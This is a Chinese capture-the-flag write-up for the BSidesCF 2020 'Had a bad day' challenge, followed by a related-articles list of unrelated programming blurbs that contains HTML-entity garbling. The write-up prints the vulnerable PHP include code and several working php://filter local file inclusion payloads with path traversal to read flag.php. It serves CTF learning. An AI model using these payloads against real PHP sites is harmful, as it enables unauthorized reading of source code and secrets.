BUU34 [BSidesCF 2020]Had a bad day1 【php://filter】

devtools/2025/2/13 16:31:29/

 题目:

发现url有点奇怪 

尝试读取一下flag.php,出现错误了 

 

 感觉有希望,一看url中还有个index.php,那就试试读取源码吧

 出现错误,原来是index.php.php重合了,把php去掉 ,出现了

<?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}
?>

让提交的内容中含有woofers,meowers或者index就行了

这里面write可写可不写:

write 的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而 index.php 就是指定的目标文件。也就是说,write=index.php 表示要把经过当前过滤器处理后的数据写入到 index.php 文件里。

 解码得到flag

 filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=index/convert.base64-encode/resource=flag (顺序可以变换)

PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响
所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag


http://www.ppmy.cn/devtools/158535.html

相关文章

通过C++编程语言实现“数据结构”课程中的链表

通过C++实现数据结构课程中的链表。首先,我需要确定链表的基本结构。链表有单链表和双向链表之分,可能还需要循环链表。但最常见的是单链表,先从单链表开始吧。 单链表的每个节点应该包含数据和指向下一个节点的指针。所以结构体或者类来定义节点,比如struct Node,里面有i…

Linux命名管道与共享内存

命名管道与共享内存 命名管道介绍和基本使用 理解了匿名管道后&#xff0c;命名管道的理解就会变得容易。在前面使用匿名管道时可以发现&#xff0c;之所以可以匿名是因为由父进程创建&#xff0c;子进程拷贝所以子进程和父进程都可以看到这个管道。但是如果对于任意两个进程…

【C++指南】解锁C++ STL:从入门到进阶的技术之旅

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C指南》 期待您的关注 目录 一、STL 是什么 二、STL 的核心组件 2.1 容器&#xff08;Containers&#xff09; 2.2 算法&…

Python的那些事第十八篇:框架与算法应用研究,人工智能与机器学习

人工智能与机器学习&#xff1a;框架与算法应用研究 摘要 本文深入探讨了人工智能与机器学习领域的核心框架和技术&#xff0c;包括TensorFlow、PyTorch和Scikit-learn库。文章首先介绍了TensorFlow和PyTorch的安装与配置方法&#xff0c;详细阐述了它们的基础概念&#xff0c…

如何下载Qt和运行第一个程序。

Ubuntu24.04 下载比较容易&#xff0c;基本都是无脑操作。途中汇出现有个别package下载不成功的情况&#xff0c;重新下载即可。 文章目录 下载qt运行qt第一个项目 下载qt 1.先找到官网&#xff0c;点击Download。 2.然后选择&#xff0c;community User 3.然后会跳转到这个…

推荐一款 免费的SSL,自动续期

支持自动续期 、泛域名 、可视化所有证书时效性 、可配置CDN 的一款工具。免费5个泛域名和1个自动更新。 链接 支持&#xff1a;nginx、通配符证书、七牛云、腾讯云、阿里云、CDN、OSS、LB&#xff08;负载均衡&#xff09; 执行自动部署脚本 提示系统过缺少crontab 安装cro…

python C# 内存共享互传 图像 以及字符串

首先用命令行调用&#xff1a; public string ExecuteCommand(string command){string output string.Empty; // 用于存储命令的输出string error string.Empty; // 用于存储命令的错误信息try{using (Process p new Process()) // 使用Process类启动新进程{// 配置进程启动…

《Stable Diffusion绘画完全指南:从入门到精通的Prompt设计艺术》 第二章

第二章&#xff1a;Prompt构成的黄金法则 2.1 核心四要素&#xff1a;主体风格环境画质 一、要素拆解&#xff1a;从骨架到灵魂的构建 主体&#xff08;Subject&#xff09;—— 画面核心 描述规范&#xff1a; 精准物种命名&#xff1a;"银渐层英国短毛猫" > &…